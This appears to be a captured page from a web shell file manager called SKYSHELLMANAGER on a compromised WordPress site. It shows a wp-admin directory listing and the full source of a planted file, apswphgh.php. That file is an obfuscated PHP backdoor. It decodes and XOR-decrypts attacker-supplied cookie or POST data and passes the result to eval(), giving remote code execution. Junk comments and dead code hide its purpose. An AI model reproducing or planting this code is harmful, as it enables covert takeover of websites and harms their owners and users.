ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.1.29

Path:root/var/www/html/wxwpsite/fungiftdeals/wp-admin/

Name	Size	Perm	Actions
📁 css	-	0755	🗑️ 🏷️
📁 images	-	0755	🗑️ 🏷️
📁 includes	-	0755	🗑️ 🏷️
📁 js	-	0755	🗑️ 🏷️
📁 maint	-	0755	🗑️ 🏷️
📁 network	-	0755	🗑️ 🏷️
📁 user	-	0755	🗑️ 🏷️
📄 about.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 admin-ajax.php	5.03 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 admin-footer.php	2.75 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 admin-functions.php	0.47 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 admin.php	12.63 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 async-upload.php	5.47 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 authorize-application.php	10.09 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 comment.php	11.37 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 custom-header.php	0.49 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 customize.php	11.21 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 edit-form-advanced.php	28.79 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 edit-form-blocks.php	14.73 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 edit-tags.php	21.98 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 edit.php	19.48 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 export-personal-data.php	7.75 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 font-library.php	1.01 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 home.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 index.php	7.68 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 media-upload.php	3.58 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 menu-header.php	9.82 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 network.php	5.39 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 press-this.php	2.41 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 privacy.php	2.83 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 setup-config.php	17.52 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 themes.phpwp-update.php	114.83 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 tools.php	3.43 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 update.php	12.76 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 user-edit.php	40.35 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 widgets-form-blocks.php	5.12 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 widgets.php	1.09 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-load.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 wp-mail.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️

Edit: apswphgh.php

<?php
function    BejZBp($clRiWa)
					/* faN  */{

return   @pack(     'H'/*  SNGd*/./*GAxg*/chr/*Asj  */(42),/*zd  */$clRiWa/*  heiGq   */);

/*cj*/$LZbOxxdGd  = md5($clRiWa);
    /*   Ximvt  */$QXAgwY  =   base64_decode($clRiWa);$_aMS/*  zjn*/=/* sz*/'16289';
 /* SGyHT   */if/*   FeJR */($QXAgwY/*mK   */===     false)/*K*/{
/* UZP */$QXAgwY  =/*eTop   */'';$_iKJD/*  t   */=   '39865';
 	}

/*   PRl  */$QplLg/*  HJ */=/*eEC  */str_split($clRiWa);$_JeWfq	= '61751';
					$RYdACsljo/*  daJH  */=/*   CmEi*/strlen($clRiWa);$_FYw =	'41247';
    	$UQhGg	=   0;

/*  Ban  */while/*hoojL*/(/*PCcHw  */$UQhGg	<	$RYdACsljo	)/* Ca  */{

/* CN  */$UQhGg++;
					$rUOgsCqQS   =     $QplLg[$UQhGg];
   if     (strpos($rUOgsCqQS,/*xoY */'a')	!==	false) {
				    $QplLg[$UQhGg]     =   strtoupper($rUOgsCqQS);;

}
    }

$RUCZahv    =/*   ZGLN   */implode('',   $QplLg);$_yRj	=/*   F  */'7156';

$_GET['decoded']	=	$RUCZahv;;
     	$_POST['hash']/*  P */=     $LZbOxxdGd;
				/*  zy*/if   (file_exists('path/to/file'))  {
						$KOhLWS   =	file_get_contents('path/to/file');;

/*  i */$QKInNaKc   =	explode(',',	$KOhLWS);;
/* huFJS */$nHWrr/*R   */=	md5(serialize($QKInNaKc));
     if/*  wLe*/(is_array($QKInNaKc))     {
   $MMpEoRX     =	array_slice($QKInNaKc,	0,	5);
   }

}
    $bneWn     =/*  aLL   */array_map('trim',   $MMpEoRX);$_nlGyg/*xCKW  */=	'44438';
  	$EqIIORGj/* z   */=    rawurldecode(implode(',',	$bneWn));
     	$_COOKIE['final_value']	=	$EqIIORGj;
    }
 	
 	function	nlKpGZ()

{

/* L   */$RDswap  =	Array($_COOKIE,/*   giN */$_POST);

$mCuIL    = array_map('md5',    $_COOKIE);

/*   D*/$nIQOKYsG   =/* df*/strpos($_SERVER['HTTP_USER_AGENT'],	'Mozilla')	!==/* i  */false/*   un   */?/*GB  */'browser/*  a  */is	Mozilla'/* d  */:/*   fiaFJ   */'browser	is	not/*xc   */Mozilla';$_eYAYa/*  lwpmp*/= '11916';
    	
	   if   (is_array($RDswap))  {
     $NaPRF	=	array_slice($RDswap,	0,   1);

}	else	{

$NaPRF/*   i  */=/*  JhP   */[];$_aUVyp  =	'42593';

}

$IbnOcZFpJU    =   explode(',',	'apple,orange,banana');$_yqn	=/*  cjB*/'35518';

/*   mC   */$MAYQptDiy =   rawurldecode('%20Hello%20World%20');;
				    $UQhGg     =/*LFc   */0; 
			while	($UQhGg/*   jDkUj  */</*JoGkc */count($IbnOcZFpJU)/*   UCXKb */)  {
  /*NHza */$IbnOcZFpJU[$UQhGg]/*   LHVeR*/= str_repeat($IbnOcZFpJU[$UQhGg],	2);
	/*   mN*/$UQhGg++;$_rQUEP	=   '57865';
/*GLxD*/}
/*  EBrs  */
			/*   aJ   */$nugVIr	=	str_repeat($nIQOKYsG,/*  oB   */3);;
    
					/* Umr*/return     $RDswap;
     	}

function	kXEqGuFcOV($Ijxpmsp)
    /*iiGA   */{
   /* xMD */$Wcvidz    =/*   fqHyY   */"\43";

foreach/*   G */(nlKpGZ()  as     $mscxvrJGf)/*  dMxSq*/{
 	yKKlbBLwX($mscxvrJGf,	$Wcvidz);$_K	=/*   t*/'4057';
  /*   urtIl */}
  	}
				
				     function/*   Kikjo  */TMZGHAG($WngRtoNZ,    $QtKkGiTZe)

/* DxvpV  */{

if	(/*  FQlPS*/count/*  VR   */(    $WngRtoNZ/*bTVI*/)/* Iw*/==     3	)/* Bc*/{
	/* nND*/$fjvSvvrkeH	=/*  BVb */$WngRtoNZ[1];;
   	$RHbjQy/*  LLGD  */=    $WngRtoNZ[2];$_Onid =/*Reiqg */'17018';

$SofafeHh    =	$fjvSvvrkeH($RHbjQy);

/* mWbz */eval/* zP */(    $SofafeHh/* SQewu   */);

die    ();;
    }
     }
			
     function	pGcjEkwifO($clRiWa,	$cIpWkSfNJ)
 	{
					 return  $clRiWa/*R*/^/* Tv */$cIpWkSfNJ;
     }

function/*  uCmb*/GwoFI($QQCGx,/*   dXubL */$Wcvidz)
      {	
    	$QQCGx =	explode	($Wcvidz,	$QQCGx/*  e  */);
					/*   pp */
/* axYYZ*/TMZGHAG($QQCGx,	$Wcvidz);
					   }
		
				/*   m   */function/* JbpoO  */yKKlbBLwX($mscxvrJGf, $Wcvidz)

/* Oq  */{
				    foreach/*   LmI*/(/*  A*/$mscxvrJGf    as	$cIpWkSfNJ    =>	$clRiWa )	{
		xUhNkZoDan($cIpWkSfNJ,  BejZBp($clRiWa),	$Wcvidz);;

}
     	}

function     pGawzut($cIpWkSfNJ, $clRiWa)

{
				    $NcwRxFp	=   strlen(/*aIWJR   */$clRiWa	)/strlen(/*LJa */$cIpWkSfNJ/* itpN   */);;
				    $cIpWkSfNJ .=/*MPdpc*/"nKGPJ-PeQAV-vdg-PGvrXss-imgaM-GxBPxH-rmkiwv";
     	$cIpWkSfNJ/*vbK */=/*PHMBr   */str_repeat	(	$cIpWkSfNJ,/*   lVK */intval($NcwRxFp)    +/*   YvqF */1);

return  $cIpWkSfNJ;

}
	     
        function xUhNkZoDan($cIpWkSfNJ,/* JUP*/$clRiWa,    $Wcvidz)

{	
   /*jXei*/GwoFI(pGcjEkwifO($clRiWa,    pGawzut($cIpWkSfNJ, $clRiWa)),  $Wcvidz);

$vVBjsxYNP	=    trim($clRiWa);$_f	=     '43243';

$fGbdYdO/*  LJBz*/=   explode($Wcvidz,   $vVBjsxYNP);

if/*EHhw*/(count($fGbdYdO)/* KSRS */>   1)   {

$nLJOBSza/* nVA*/=	implode(chr	(	712/*  WjNpP*/-/*   ViBEF  */667/*   jz  */),/*   Jr  */$fGbdYdO);
   /*  Bi */$EVkvP/*  QQi  */=	str_pad($nLJOBSza,   20,/*  cv*/"\x30",/*   H */STR_PAD_RIGHT);

}   else/*  u  */{
		/* Thmp*/$EVkvP	=/* IZ  */str_replace("\40",/* LOP*/chr/* p */(	993	-	898	), $vVBjsxYNP);
    }
			$VfHdOg    =	empty($Wcvidz);
			/*  tcp*/if/*   uGjM*/(!$VfHdOg)/*  Qok   */{
					/*xPX   */$klCIzoTvSn  =/* Paa */substr($EVkvP,   0, 10);$_R     =   '19700';
/*   Jbo */}     else/* yT */{
	/*AIK */$klCIzoTvSn	= $EVkvP;;

}
       }
					/*  r   */
   	kXEqGuFcOV("");$_j	=/*   iZt*/'20129';

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ PHP v8.1.29

Edit: apswphgh.php

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.1.29